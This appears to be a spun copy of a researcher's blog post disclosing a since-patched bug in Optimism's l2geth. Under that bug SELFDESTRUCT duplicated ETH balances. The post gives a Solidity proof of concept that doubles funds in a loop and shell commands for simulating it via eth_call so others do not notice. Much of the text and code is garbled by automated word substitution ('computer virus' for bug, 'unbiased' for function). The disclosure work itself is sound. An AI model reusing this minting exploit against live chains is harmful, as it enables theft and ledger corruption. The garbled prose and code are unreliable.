Attacking an Ethereum L2 with Unbridled Optimism

Attacking an Ethereum L2 with Unbridled Optimism

The Summary

On 2/2/2022, I reported a well-known security enviornment to Optimism—an “L2 scaling solution” for Ethereum—that may well per chance maybe per chance allow an attacker to replicate money on any chain the use of their “OVM 2.0” fork of scramble-ethereum (which they call l2geth).

Snappily, Optimism—whose platform presently uses a centralized “sequencer”—moved to both repair this computer virus on their nodes and infrastructure, as smartly as space up for downstream initiatives that faded their codebase (Boba and Metis) to fetch patched.

This article gives the backstory of how and why I discovered this computer virus and goes into my customary “vulgar” stage of element on how the computer virus works (one thing I like now not afflicted to carry out in article originate almost at the moment: I’ve mostly been reliable giving talks).

I will even be giving a chat at ETHDenver 2022, at 9: 40am MST on February 18th, on this vulnerability. If you occur to’d desire to meet me whereas I’m there, I must be accessible for a long way of the tournament. (I’m also a “mentor”, nonetheless that appears to be like flexible.)

This article slowly transitions from high-stage background and dialogue into deep, low-stage technical element; nonetheless, at the cease, I return for some high-stage thoughts on the ethics of security research and incentive alignment in the cryptocurrency industry. If you occur to delivery thinking “this is getting dry”, strive skipping ahead!

My Background

I’m Jay Freeman, although I’m mostly known on-line as “saurik” for my work on Cydia, any other strategy to the App Store for jailbroken iOS devices. Whereas I was as soon as a member of key jailbreak teams, I mad by every part “after the hack”.

In other past work, I developed extra than one jailbreaks for Android (implementing mempodipper and Master Key), wrote the fundamental decompiler for .NET (Exemplar, for my Anakrino GUI), and labored on nmap’s programmatic scanning aspects.

I give various talks at conferences, the assign I most continuously contemporary “Penn & Teller”-style exposés of exploit stacks. (This suggests my life for the past two years has been extraordinarily reclusive and unhealthy, as I carry out no longer journey on-line conferences.)

I now am one in every of the final founders of Orchid, a mission that builds a market for programmable bandwidth, along with Steven Waterhouse (a founding companion of Pantera Capital) and Brian Fox (developer of bash, readline, and so forth.).

Orchid Nanopayments

For Orchid, whereas I originate no longer like any gracious/ratified title, I’m “accountable for expertise”. Particularly (as linked to this text), I like applied all of Orchid’s advisable contracts, in conjunction with the one faded for “nanopayments”.

(Whereas going into well-known aspects of Orchid would be a digression, the cause Orchid cares about this is that customers incrementally pay for fetch entry to to the network with puny payments, the fees for which would otherwise be too high.)

Our nanopayments integration—designed basically by David Salamon, Justin Sheek, and myself, whereas leaning on the work finished previously by Ronald L. Rivest at MIT and PepperCoin—amortizes transaction fees for terribly runt transfers.

Whereas, over enough time, our machine can amortize even very advisable transaction fees, there are facet effects: the scale of the payments goes up and the desire of payments goes down, resulting in a a lot bigger variance of anticipated vs. valid price.

It is a long way thereby interesting to Orchid when folks fetch contemporary, more inexpensive blockchain expertise, as Orchid’s payments infrastructure isn’t any longer inherently tied to any single chain, and various my work involves exploring and evaluating contemporary alternatives.

Layer 2 Scaling

Orchid is, in some sense, what one may well per chance maybe per chance call a “layer 2 scaling solution”: a payments machine that runs as an ecosystem on top of any other payments machine. In our case, we put into effect what I like most continuously called a “probabilistic rollup”.

Our nanopayments machine indubitably is now not definitely the most productive layer 2, and—being mostly off-chain with probabilistic settlement—is now not definitely even a prototypical one. That stated, it’s in style for folks to quibble over what, exactly, any other machine is also “considered”.

The extra generally cited layer 2 solutions are systems similar to Optimism or zkSync: every a prototypical example of an “optimistic rollup” and a “zero-knowledge rollup” (respectively). Vitalik (of Ethereum) wrote an clarify of rollups.

Curiously, the “2” in layer 2 is most continuously a puny bit arbitrary: layer 2 solutions that originate no longer involve committing linear amounts of affirm to the underlying layer 1 can generally compose or stack, allowing our nanopayments to bustle on any other layer 2.

Adversarial-Chain Bridges

Many of the reliable hacks we hear about in crypto occur to “bridges”, the contracts and protocols that allow customers of one blockchain to work with sources on any other blockchain. These are generally fundamental even between an L2 and its L1.

As it’s generally definitely very no longer going to be assured of “finality”—the property that a transaction has as soon as and really committed and must by no means be reversed for any cause—in blockchain consensus systems, these bridges are fraught with inherent pain.

One more time and but again, at the cease of the day, they cease up even relying on relied on third-parties to authorize “withdrawals” (linked to banks, nonetheless before you strive to declare “omg they re-invented banks”: the power to permissionlessly fetch a bank is a characteristic).

The mechanism on the overall involves depositing money in a locked-up reserve on one facet of the bridge after which printing an IOU on the opposite/a long way flung facet that is also traded and later redeemed to unlock a pair of of the previously-deposited money from the reserve.

The final Bridges Falling Down

When bridges are attacked, on the overall any individual managed to trick the advisable contract that’s holding the pile of cash backing the IOUs to incorrectly unlock it, which implies IOUs on the opposite facet of the bridge may well per chance maybe per chance no longer be redeemable.

On the a linked day that I reported the virtual machine computer virus discussed on this text to Optimism, a contaminated-chain bridge called Wormhole that connects Ethereum to Solana was as soon as hacked, and any individual walked away with ~$325 million value of Ether.

Per chance surprisingly, the corporate that owned Wormhole straight away determined to carry responsibility for the topic, and replaced the entire money in the reserves. Within the case of a previous hack on Poly Community, the hackers returned ~$610 million.

It is a long way my contention that hacks on bridges have a tendency to be observed like a flash, because the oldsters working the bridge on the overall view when “their money” (which they owe to folks, clearly) disappears. Fixing the topic involves changing the stolen capital.

After the Hack

Even when hackers carry out agree with money from a bridge, the ramifications are restricted as “it be most productive money”: whenever you agree with the money from a bank’s vault, this is smartly a enviornment for them, and any “bail out” may well per chance maybe per chance be very dear for their backers…

…and but, the bank must be grateful their file of accounts is favorable: in the occasion that they were no longer definite who owned what or which transfers were legitimate—with purchasers stressful conflicting corrections—the resulting dispute may well per chance maybe per chance by no means cease.

(We can also here retain in thoughts the premise of “insurance protection insurance policies” against crypto hacks, significantly supplied that many of those bridges are semi-centralized and may well per chance maybe per chance “mitigate” hacks before time, fixing disorders before they result in loss.)

Such theft also tends to be per chance-surprisingly fruitless, with linked wallets being blacklisted by varied exchanges (which parents like postulated will cause the ecosystem problems in the extinguish, making some Bitcoin similar to “blood diamonds”).

My Attack: Unbridled Optimism

The computer virus supplied here—which I dub “Unbridled Optimism”—can per chance be (crudely) modelled as a computer virus on the a long way facet of a “bridge”, nonetheless is definitely a computer virus in the virtual machine that executes advisable contracts on Optimism (an aforementioned L2 rollup).

Exploiting this allows the attacker to like fetch entry to to an successfully unbounded desire of tokens (aka, the IOUs) on the a long way facet of the bridge. It is a long way my contention that this is extra harmful than merely tricking the reserves into allowing a withdrawl.

With the power to sneakily print IOUs (known on Optimism as OETH) on the opposite facet of the bridge, you proceed to can strive to (slowly) withdraw money from the reserves, nonetheless now this can peek adore a legitimate switch, making it less complicated to scramble left out.

(And, whenever you suspect that “any individual would view if the overall desire of IOUs were a form of than the amount of cash locked in the reserves”, this computer virus definitely was as soon as triggered 40 days ago—as I will level to later—and no fright bells were raised.)

Most Carnage

Further, in conjunction with your unbounded offer of IOUs, that you would per chance scramble to every decentralized change working on the L2 and mess with their economies, procuring up large portions of different tokens whereas devaluing the chain’s possess forex.

The utilization of your fetch entry to to quite loads of capital, that you would per chance extra manipulate on-chain pricing oracles to leverage for other assaults; and, till any individual finally realizes your money is faux, arbitragers will flock to the network to sell you their sources.

This makes this computer virus in a position to financial griefing assaults, whereby as soon as any individual notices—even though it’s a mere hour later!—it may well per chance maybe per chance be “too gradual” to resolve what is and what’s now not definitely a legitimate transaction, calling into set up a matter to of your entire ledger.

The following few sections involve a aggregate of lived and researched historical past of the Optimism mission… which I entirely admit I could well per chance maybe per chance need gotten irascible somewhere. The aim here is to space up my interaction with the mission and the diagram I got here to sight this computer virus, as I really write magazine-stage affirm material about tool hacks ;P.

George Hotz Cameo

Surely one of my authorized episodes of Optimism has a cameo by George Hotz, the hacker who first unlocked an iPhone (after which continued to work on jailbreaks for years before appealing on to work on AI and aftermarket self reliant riding kits).

An early premise of Optimism was as soon as to toughen “non-interactive fraud proofs”, whereby if the L2 affirm committed to L1 were “inaccurate”, any individual may well per chance maybe per chance level to that to the advisable contracts working on the machine by the use of an (dear) on-chain simulator.

The realm that they had was as soon as that, for their mannequin to work successfully, Optimism couldn’t carry out an interpreter, and instead fundamental a “transpiler” that replaced any instruction that accessed blockchain affirm with unbiased calls on machine advisable contracts.

“geohot” (as he’s legendary to many of us) helped them by writing a modification to the compiler for Solidity—the language most folks use to write advisable contracts—that may well per chance maybe per chance allow folks to like a flash generate OVM-adore minded contract code.

OVM 1.0 uses OVM_ETH ERC20

The realm with this—and agree with with me here, as this is linked—is that this strategy was as soon as most productive adore minded at the stage of Solidity offer code and couldn’t bustle existing contracts already compiled for the Ethereum Digital Machine.

At the same time as they labored to repair this for the fundamental valid unlock of their “OVM”, there was as soon as “historical baggage” that remained, both in the code and in the minds of the ecosystem that pushed the mission down roads of extra EVM incompatibility.

The reliable “most evident” enviornment that I without warning met whereas making an strive to use Optimism at the present (gradual 2020) was as soon as that there was as soon as no native toughen for a “fuel token”: Ether saved on Optimism’s L2 was as soon as instead represented by an ERC20 token.

We carry out no longer like in-constructed native Ether toughen. As an illustration, this implies you is per chance no longer allowed to use BALANCE or SELFBALANCE (Convey: you’d like to use CALLVALUE, this can reliable constantly return 0).

All “ETH” on L2 will be an ERC20. Upon depositing ETH into our deposit contracts on L1, this can automatically be transformed to ERC20 ETH on L2. If you occur to desire to use ETH to your contract, instead reliable work along with it similar to that you would per chance with a authorized ERC20 contract. This allows initiatives to no longer prefer to write their contracts to toughen both ERC20s and ETH, nonetheless quite reliable ERC20s (e.g. 0x, Uniswap).

We carry out like plans in the extinguish to originate our custom compiler automatically convert opcodes adore BALANCE to ERC20ETH.balanceOf(addr) although this is presently no longer a precedence till after mainnet. If this diagram of performance is important for your application, please state us in Discord!

I could well per chance maybe per chance definitely learn this, reasonably hopeful that this direction may well per chance maybe per chance be changed early on, and joined their Discord server on December sixth of 2020 in uncover to originate the case that this incompatibility with the EVM semantics would result in problems.

I stopped up—as generally occurs with chat servers :/—in an argument with a random user who was as soon as performing extraordinarily authoritative (to the level the assign I had started to mannequin them as a key developer) that this was as soon as definitely a gigantic originate decision.

Regardless, Orchid’s multi-chain effort fundamentally requires that the a linked code be deployable on every network—so the checklist of supported chains is also “permissionless” and as a lot as the user ecosystem—forcing me to scramble on Optimism.

EVM “Equivalence”

Unnecessary to negate, a year later, it had turn out to be definite that no longer being adore minded with existing advisable contracts and developer tooling was as soon as, really, a serious enviornment; and, so, the Optimism mission began work on what they called “EVM Equivalence”.

This upgrade, to be named OVM 2.0, was as soon as of gigantic hobby to my work on Orchid, because it intended that the contemporary multi-chain nanopayments platform I had been pushing us in direction of may well per chance maybe per chance finally be deployed. I thereby jumped support into Optimism.

When working with a brand contemporary chain, the fundamental component I have a tendency to carry out is bustle a brief unit test of performance I both rely on or decide (a test suite of kinds that has discovered bugs in a form of chains that I like reported all the diagram by diagram of the final year).

Directly, I without warning met a confusing enviornment with Optimism: the account affirm—as cryptographically verifiable from the block “affirm root”—by some means was as soon as lacking the account balance (which was as soon as, instead, constantly 0). I filed a computer virus about this.

OVM_ETH Lives on in OVM 2.0

The response to my computer virus file considerably timid me: it turned out that OVM 2.0 continued to retailer the entire balances for user accounts in the storage affirm of an ERC20 contract, and they were having an entertaining dialogue about whether to carry this.

Regardless, this became a true “thorn in my facet” as I began working on any other mission of mine the closing month or so: an especially pedantic and heavily-listed block explorer that introspects every affirm change of your entire EVM.

Between this, that Optimism timestamps are backdated (one thing they did repair) and even non-monotonic, and the diagram they protect rebooting their chain, Optimism has triggered me to utilize a disproportionate amount of time feeling… “pessimistic” ;P.

(Then but again, I will negate that the builders of this mission are definitely reasonably impartial to work with, and so I like no lower than had a reliable time talking with them on Discord whereas seeking to fetch entry to older knowledge and filing bugs for prime-stage originate disorders.)

StateDB UsingOVM Redirection

The formula this “retailer the native balances in an ERC20 token storage affirm” is applied in the codebase is as a space of patches to scramble-ethereum’s StateDB, the code which maintains an in-memory buffer of pending/dirty account objects to flush to disk.

(The formula Ethereum stores this affirm—and the affirm trie knowledge structure it uses to permit ambiance loyal cryptographic verification of cherry-picked knowledge—is one in every of the extra moving and obliging parts of the protocol originate; here is any other reference.)

The UsingOVM flag is space with a USING_OVM ambiance variable (with no corresponding expose line flag, as a long way as I do know; that it be well-known to space this ambiance variable whereas initializing the genesis block took me too long to figure out ;P).

Operations on the StateDB which like an affect on an account balance are then redirected from the underlying stateObject (which represents a person, cached account) to storage affirm in the OVM_ETH contract. Under is the code for affirm.StateDB.SetBalance.

NOTE: I heavily re-structure and even considerably “editorialize” code snippets to originate them narrower, shorter, and no more dense. If you occur to scramble peek at the valid code, originate no longer be bowled over when it doesn’t peek exactly the a linked as my presentation ;P.

func (s *StateDB) SetBalance(
addr in style.Address, amount *giant.Int
) {
if rcfg.UsingOVM {
key := GetOVMBalanceKey(addr)
ticket := in style.BigToHash(amount)
s.SetState(dump.OvmEthAddress, key, ticket)
} else {
stateObject := s.GetOrNewStateObject(addr)
if stateObject != nil {

Now, there may well be definitely already one thing interesting going on: s.GetOrNewStateObject has an observable facet carry out; nonetheless, when UsingOVM, this doesn’t fetch called. This means that an account may well per chance maybe per chance possess native forex without needing an account object!

The categorical enviornment here is that contracts are ready to quiz for the hash of the code of different accounts (which is most continuously faded to substantiate their relied on behaviors). If an account has no code, its code is “”, so its codehash is the hash of an empty buffer.

Then but again, whenever you quiz for the codehash of an tackle that isn’t any longer definitely presently backed by an object in the affirm trie, the codehash you fetch support is null. This observable carry out is an example of the refined incompatibilities that Optimism retains experiencing.

(If this were my mission, I could well per chance maybe per chance positively like dropped every part formula support—pre-OVM 2.0—to prioritize casting off this space of patches by fixing GetOVMBalanceKey to retailer hash preimages, re-executing the chain, after which swapping out the affirm trie.)

Why is it constantly SELFDESTRUCT?!

Surely among the extra “problematic” instructions in the Ethereum VM is SELFDESTRUCT, which works support to the fashioned originate. (For readability: this instruction faded to be called SUICIDE, nonetheless the code—which we would be reading—was as soon as by no means renamed.)

This instruction enables a contract to ruin itself, casting off its account object. The principle support of this instruction is that it enables for potentially advisable amounts of “routine” affirm to be cleaned up like a flash from the blockchain’s entertaining space.

On the opposite hand, what makes this instruction “problematic” (apart from its triggering title) is that it enables for potentially LARGE amounts of affirm to be cleaned up VERY QUICKLY, requiring the VM to carry out an arbitrary amount of labor, atomically.

This instruction has extra been known to constantly cause corner cases in contemporary EVM aspects, and so has generally been threatened with some originate of removal (similar to banning it in contemporary contracts or casting off most of its performance).


When a contract hits the SELFDESTRUCT instruction, it designates a “beneficiary” to receive any funds it aloof owns. The implementation of this opcode in scramble-ethereum’s EVM adds the balance to the beneficiary after which calls StateDB.Suicide.

func opSuicide(
notebook computer *uint64, interpreter *EVMInterpreter,
contract *Contract, memory *Memory, stack *Stack
) ([]byte, error) {
affirm := interpreter.evm.StateDB

beneficiary := in style.BigToAddress(stack.pop())
balance := affirm.GetBalance(contract.Address())
affirm.AddBalance(beneficiary, balance)


return nil, nil

The implementation of StateDB.Suicide then clears the balance of the account support to 0. Frustratingly, it does this the use of neither the stateObject’s setBalance setter nor to the shared in style.Big0 fixed, making this a bespoke allotment of good judgment.

func (s *StateDB) Suicide(addr in style.Address) bool {
stateObject := s.getStateObject(addr)
if stateObject == nil { return faux }


stateObject.knowledge.Steadiness = contemporary(giant.Int)
// aka stateObject.setBalance(in style.Big0)

return factual

StateDB.Suicide, in flip, calls stateObject.markSuicided, which does nothing rather than space a boolean ticket on the object to factual. Importantly, this implies that the contract at this level STILL EXISTS and continues to like the code it previously had!

func (s *stateObject) markSuicided() {
s.suicided = factual

Pending Deletion

This begs the set up a matter to of: how does the object ever definitely fetch destroyed? The acknowledge is that this is postponed to the cease of the transaction, when StateDB.Finalise is is named and the entire suicided dirty account objects are marked deleted.

func (s *StateDB) Finalise() {
for addr := vary s.journal.dirties {
obj, exist := s.stateObjects[addr]
if !exist { proceed }

if obj.suicided || obj.empty() {
obj.deleted = factual
} else {


(As a extra optimization, the valid account object is now not definitely really deleted till the following time the affirm root hash wants to be calculated, because the entire changes to the merkle trie can then be made and committed at the moment. This is now not definitely linked, although.)

func (s *StateDB) IntermediateRoot() in style.Hash {

for addr := vary s.stateObjectsPending {
obj := s.stateObjects[addr]
if obj.deleted {
} else {

return s.trie.Hash()

The Precise Trojan horse

By this level, we definitely “handed by” the well-known computer virus… did you bewitch it? ;P The code for Suicide is aloof straight bettering the stateObject’s knowledge.Steadiness enviornment rather then checking UsingOVM and redirecting that modification to OVM_ETH.

This means that, when a contract self-destructs, its balance is BOTH given to the beneficiary AND ALSO KEPT. If the contract had 10 ETH, 10 ETH are CREATED from skinny bits and handed to the beneficiary.

When Optimism mounted this computer virus—as section of PR #2146 (which somewhat hid this change in a pile of different updates to provide time for unknown forks to interchange their code)—they added the following good judgment to opSuicide (significantly, no longer StateDB.Suicide).

if rcfg.UsingOVM && interpreter.evm.chainConfig
affirm.SubBalance(contract.Address(), balance)

To this point as I will repeat, the cause they fundamental to assign this code in opSuicide—which separates it from the opposite good judgment that straight clears the balance enviornment as smartly because the exact opposite UsingOVM overrides—is so they’ll fetch fetch entry to to the chainConfig.

This is important, because the code aloof wants to put into effect the irascible behavior to permit it to synchronize the entire historical affirm, a pair of of which definitely tickles this computer virus (without exploiting it). They determined block 3135900 will be the cutoff.

// OpMainnetSelfDestructForkNum is the height at which the
// suicide inflation computer virus hardfork activates on OP mainnet.
OpMainnetSelfDestructForkNum = giant.NewInt(3135900)

Became this Exploited?

Surely among the questions we generally prefer to acknowledge is “has anyone else already pulled off an exploit the use of this computer virus?”. To acknowledge to this, I instrumented the code for the OVM 2.0 to log any time a transaction destroyed a contract with a balance.

As SELFDESTRUCT is already a uncommon opcode, and this is even then a subset of all uses of SELFDESTRUCT—and extra, as OVM 2.0 was as soon as most productive released three months ago—there was as soon as most productive a single user who had ever tried this: on Christmas Eve (2021).

In those transactions (as viewed on the Optimism block explorer hosted by Etherscan) we look a user developing and destroying three contracts. The principle two times, the contract’s beneficiary is the 0x0 tackle, whereas the third time it’s miles the user themself.

It frankly felt adore any individual had observed the computer virus—seeing that Etherscan left the balance in affirm after the contract was as soon as destroyed—and even performed with it a puny bit (to appear if this was as soon as a behavior of 0x0)… nonetheless hadn’t realized it was as soon as exploitable.

I really managed to display screen down this user (!!) and it seems they work for Etherscan ;P. It reliable goes to level to that most continuously even folks which would be staring straight at a computer virus originate no longer constantly look the oblique security implications.

I like no longer, myself, had time to substantiate that this was as soon as by no means triggered on the 2 known-to-me forks of Optimism: Boba and Metis. I feel adore any individual else may well per chance maybe per chance need checked by now and suggested me, and I also feel it’s per chance considerably no longer going (given the inability of utilization on Optimism), nonetheless I will no longer negate for definite one formula or the opposite at the present.

Concrete Exploit

Which brings us to the fun section: a palms on exploration of exploiting this computer virus. To carry out this, we have to write a contract (in Solidity) that we can deploy/fund and on which we can call SELFDESTRUCT, replicating the money it’s holding.

As the contract continues to exist till the cease of the transaction, and we may well per chance maybe like to replicate money as immediate as doable (by compounding our earnings), we space the contract itself because the beneficiary. This diagram, every call to ruin doubles its funds.

To permit the contract to be funded in the fundamental affirm, we have to add a payable constructor. Indirectly, we add a capability that lets in us to fetch the a reimbursement out of the contract (I in the delivery faded selfdestruct, nonetheless switch is cleaner).

pragma solidity 0.7.6;

contract Exploit {
constructor() payable {}

unbiased ruin() public {

unbiased agree with() public {

To power this attack, we may well per chance maybe like any other contract which creates an instance of this contract, calls ruin in a loop, after which calls agree with. I made up my thoughts to assign this good judgment in the constructor of the contract, so it may well per chance maybe per chance be created and accomplished in a single transaction.

contract Attack {
constructor(uint rely) payable {
Exploit exploit = contemporary Exploit{ticket: msg.ticket}();
for (; rely != 0; –rely)
exploit.agree with();

receive() exterior payable {}

As this contract will be receiving funds from the Exploit contract it instantiates, it wants a payable receive() implementation (as otherwise the contract will reject any strive and gives it money the use of switch; significantly, selfdestruct would bypass this!).

True/Easy Checking out

Whereas one formula to test this exploit would be to bustle it, that no longer most productive may well per chance maybe per chance cause problems later on guaranteeing the affirm is aloof legitimate, on the opposite hand it may well per chance maybe per chance potentially tip off folks watching the blockchain seeking to carry our exploit.

That may well per chance maybe per chance sound a long way-fetched, on the opposite hand it’s definitely reasonably in style and is heavily computerized: on this case, our exploit is so “jog-and-play” that if any individual merely simulated working it themselves they’d turn out to be the beneficiary.

Whereas I will scramble away makes an strive to carry out extra obfuscated exploits as “an pronounce to the reader”, if nothing else that you would per chance like a formula to test the behavior of your exploit whereas developing it, and so we may well per chance maybe like an effortless formula to simulate working instructions.

At this level any individual may well per chance maybe per chance counsel an off-the-shelf test-driver—similar to Ganache—on the opposite hand it haven’t got this computer virus. We may well per chance maybe per chance give it the computer virus, nonetheless that’s work. We may well per chance maybe per chance bustle our possess local fork of Optimism, full with sequencer, nonetheless that’s also work.

As an different, we desire a formula to use a “authorized” Optimism full node—ideally one we bustle ourselves (as we’re talking about a truly serious exploit), although for our exploration here the public endpoints will work reliable magnificent!—to bustle our exploit.

eth_call Express Overrides

The solution is the JSON/RPC capability eth_call. Now, I fetch it: “eth_call is definite; I learn about eth_call”. (While you originate no longer: eth_call is a capability uncovered by Ethereum nodes that enables you to speculatively bustle exported Solidity capabilities.)

Then but again, it’s now not definitely definitely so evident: whenever you learn the documentation for eth_call, it’s most productive going to let us bustle code that’s already deployed to the blockchain, which we definitely desire to finish faraway from the least bit prices, lest any individual view our exploit.

The trick is that scramble-ethereum—the most generally faded EVM implementation—additionally helps “affirm overrides” on eth_call that allow us pose hypothetical execution environments by altering the code or balance of an account.

Our strategy will thereby be to carry out a puny contract that scripts the entire behaviors we may well per chance maybe like (instantiating and funding Attack) after which returns any knowledge we have to appear if our code labored (on this case, our closing balance).

contract Test {
unbiased test(uint256 rely) public payable returns (uint256) {
contemporary Attack{ticket: msg.ticket}(rely);
return tackle(this).balance;

JSON/RPC by diagram of curl

To originate this a “palms on” pronounce, I will glide you by diagram of compiling and executing this contract the use of nothing nonetheless curl, jq, xxd, and (for the Solidity compiler) docker (although that you would per chance alternatively install solc on your machine).

NOTE: Optimism’s public RPC server is (it sounds as if) being bustle by QuickNode, and they most productive are space as a lot as allow a trivial desire of historical queries; so, when doing calls on routine blocks, that you would per chance fetch a null result support with the error “Archive Requests/month restrict reached – Please retain in thoughts upgrading at”; if this occurs, you will (sadly) prefer to bustle your possess full Optimism node to appear the cease result.

First we clarify an rpc variable to agree with the URL of our Optimism full node. Then, we clarify an rpc unbiased that can agree with a JSON object by diagram of stdin, add to it the JSON/RPC protocol fields the use of jq, after which put up it to the RPC server the use of curl.

unbiased rpc() { jq ‘.+{jsonrpc:”2.0″,identification:1}’ |
curl -H ‘Negate-Sort: application/json’
-s “$rpc” –knowledge-binary @-; }

Subsequent, we can assemble the contract (named attack.sol); in the carry out folder we can like three .bin files, one for every of Exploit, Attack, and Test. These bin files originate no longer definitely signify the code for the contract: they’re the code for the constructor.

# originate no longer carry out this whenever you installed solc
alias solc=’docker bustle -v “$PWD”:/mnt
-w /mnt ethereum/solc:0.7.6′

solc -o carry out attack.sol –bin –overwrite

The constructor returns the code for the contract itself, so we’re going to override the affirm of a random account to originate its code the code of this constructor (this may well seemingly by no means definitely occur) after which eth_call it to fetch its return ticket.

rnd=0x$(head -c 20 /dev/urandom | xxd -ps)
tst=$(echo ‘{“capability”:”eth_call”,”params”: [
{“code”:”0x'”$(cat build/Test.bin)”‘”}
}]}’ | rpc | jq -r .result)

Checking out the Repair

Now that we have the code for the Test contract itself, we can override the code on our random tackle to that after which eth_call the test() capability. We are in a position to also fetch a 2d tackle to be the caller, and override its affirm to possess money.

frm=0x$(head -c 20 /dev/urandom | xxd -ps)
unbiased tst() { space -e; blk=$1; shift 1;
echo ‘{“capability”:”eth_call”,”params”: [{
“data”:”0x29e99f07′”$(printf ‘%064x’ 1)”‘”,
}]}’ | rpc | jq -r .result; }

If you occur to carry the time to drag apart the entire shell quoting (sorry), you will level to that the “knowledge” we ship to the contract is 0x29e99f07. This is the fundamental 32-bits of the keccak256 hash of “test(uint256)”, which serves because the message selector for that unbiased.

We can now bustle the exploit. The tst unbiased I defined takes an argument blk (that must be in hex) which is the block number “at which” to bustle our code; this allows us to study out working our code before and after OpMainnetSelfDestructForkNum.

$ echo $(($(tst $(printf 0x%x 3135900))))
$ echo $(($(tst $(printf 0x%x 3135899))))

When working this on a block after (or in conjunction with) 3135900, we can most productive like the 1 token we started with (despatched because the value parameter in tst). Then but again, when working on blocks before 3135900, we fetch the cease result 2 (as Test has Attack double as soon as).

But One other Incompatibility

At this level, that you would per chance surprise what occurs if we attach that on other EVM-adore minded blockchains, similar to Ethereum or Avalanche. We merely prefer to change the rpc variable and re-bustle tst. The result we fetch is… 0. No longer 2 (clearly), nonetheless also no longer 1.

$ rpc=
$ echo $(($(tst most modern)))

Surely among the tropes in the “Bag of Hacks” discuss I give at hackathons and college classes is that, reasonably generally, security fixes are finished in a slouch by folks which would be making an strive to mitigate a say flaw and the resulting “repair” breaks one thing else.

I really observed this whereas testing Boba and Metis—which may well per chance maybe per chance be forks of Optimism—in the center of the evening when I observed that they’d also be affected (nonetheless wasn’t definite if the Optimism folks had reached out to them already; that they had).

What is Immoral

On this case, the code that was as soon as added to opSuicide subtracted the prior balance from the contract to definite it. This is, to be dazzling, extraordinarily cheap behavior… I dare negate it’s extra cheap than the behavior Ethereum in the delivery applied ;P.

The formula that the fashioned code labored, on the opposite hand, is that it straight space the balance to 0. This means that whenever you selfdestruct to yourself, rather then 1+1-1 being 1, the resulting balance is pressured to 0. I renowned this in the dialogue on the pull request.

(In actuality, I’m definitely thinking this is “per chance finish enough”, supplied that—as mentioned earlier—the OVM is already getting other semantics surrounding this irascible, and the cease result is nice that money that may well per chance maybe were destroyed survives.)

(That stated, it also wouldn’t surprise me if these incompatibilities between the EVM and the OVM is also compounded with assumptions made by varied contracts folks may well per chance maybe per chance grab to deploy to repeat and exploit other vulnerabilities.)

What follows is me being “advisable valid” and making an strive to enter into an especially deep dialog about morality. Conversations adore this are, in some sense, the dessert at the cease of a protracted meal. The tech is over, nonetheless per chance you will desire to care for for a puny bit?

I partly negate this because some folks—who I significantly carry out no longer retain in thoughts section of “my target audience” ;P—disfavor these things; nonetheless, I also negate this because I deserve to be definite: these are inclined thoughts that folks originate no longer negate out loud enough.

That stated, I also most continuously deem that these conversations most productive definitely work when finished in person, all the diagram by diagram of the third hour of a five-hour gradual-evening Q&A session at a hackathon adore SpartaHack. OMG carry out I miss attending in-person SpartaHack :(.

Crypto Ethi-nomi-cs

One thing I have a tendency to utilize various time talking about—as a “grey hat” security researcher who works in a enviornment the assign we robotically hoard bugs and descend full weaponized exploits of 0-day vulnerabilities (our jailbreaks)—is “the ethics of hacking”.

Within the case of restricted hardware and the conflict against digital rights administration (which entails use of Intel SGX, the cause I agree with enviornment with MobileCoin) the honest tradeoffs like turn out to be considerably definite to me over the years.

Then but again, working with cryptocurrencies feels loads murkier. Fabricate we really deem that “code is regulations”, and if any individual finds a computer virus that enables them to glide away with a thousand million bucks all people must deem “I dispute I made a mistake”?

If you occur to carry out, does your decision on that entrance change whenever you are now not going to in my view revenue, nonetheless will instead ruin a machine folks were the use of? FWIW, irrespective of how grand we’re announcing “code is regulations”, I in my view like a no longer easy time with destruction as ethical.

And but, if we carry out no longer deem that destruction is ethical, and we’re going to attach such solid honest judgement to folks that ruin in preference to carry out, how carry out we finish faraway from falling into the trap of making systems that virtually all efficient work resulting from belief?

Transfer Instant and Lose Cash

So, one in every of the extra “fun” things about working in crypto is exactly what makes it “provoking”: the (monetary) stakes have a tendency to be extraordinarily high. One ramification of this is that security research matters loads bigger than in other fields of tool.

And but, a criticism that I too generally like about crypto initiatives is that they most continuously seem to play immediate and loose with consensus or correctness whereas they “switch immediate and ruin things” their formula to fetch entry to advisable amounts of funding capital.

Meanwhile, initiatives that agree with extra conservative approaches are viewed to “switch slowly and too in moderation”; and, as with Web 2.0 firms that utilize “too grand” time protecting user privateness before launching contemporary aspects, they’re at an instruct.

I thereby most continuously flinch at “serving to” other initiatives with in style problems with decentralization or security, as I feel adore those can no longer be afterthoughts: these things is unbiased too well-known to be releasing like a flash and adjusting the originate in the enviornment.

And but, we look crypto mission after crypto mission seeking to externalize the value of their core originate to folks being most productive by some means compensated, in preference to building a group around mathematicians, economists, and security consultants.

Monetary Invectives

Meanwhile, there may well be a roughly fishy component going on with many crypto initiatives, with what can feel adore a “darkish pattern” bobbing up whereby initiatives power customers to turn out to be invested of their mission (by formula of a token) to merely be potentialities.

The result is that it’s miles also no longer easy to belief anyone anymore, as reputedly every single participant—even ones that classically would like tried to dwell fair—without warning are being pushed around by in moderation designed monetary incentives.

To attract a life like-to-crypto analogy: imagine if the use of Apple Tune eager no longer a subscription price, nonetheless proving you possess some ticket in shares of Apple’s inventory. Now, if Apple goes up in ticket, so carry out the shares you would be required to retain.

This thought demoralizes me now and again (and I will level to that Orchid has steer clear off such objects). And but, is that this even contemporary? Are “Apple fanbois” unintentionally incentivized by their dear hardware funding (and later resale ticket)?

I really were which implies to write an article on what I feel is a originate of “runaway incentives” on the provision facet—as against with buyers—of some crypto initiatives, a subject I like most continuously written about to this level most productive in random feedback on Hacker Recordsdata, GitHub, and Twitter.

If you occur to would be drawn to reading such, I counsel following me on Twitter. I also am generally reasonably delivery to giving (for free! I’m a politician in California and originate no longer prefer to tackle the honoraria restrictions) talks at hackathons or conferences, significantly if I originate no longer prefer to creep a long way.

Exploitation Games

I have been working on incubating “exploits” (nothing else adore this computer virus, to be definite) for a desire of initiatives (“as one does” in security), and the dialogue constantly comes up about “what to carry out with them”; and the acknowledge reliable is now not definitely the least bit evident.

Other folks discuss about—most continuously clearly in jest, most continuously… no longer so grand ;P—techniques to revenue off of hacks by releasing “account takedowns” of various initiatives and shorting your formula to riches, or delivery plotting “the reliable crime” (generally reasonably fanciful).

Over time, I like heard many studies from hackers I like labored with—in conjunction with both geohot and my reliable guests at—about computer virus bounty programs, nonetheless like by no means myself sought out or tried to participate in a single.

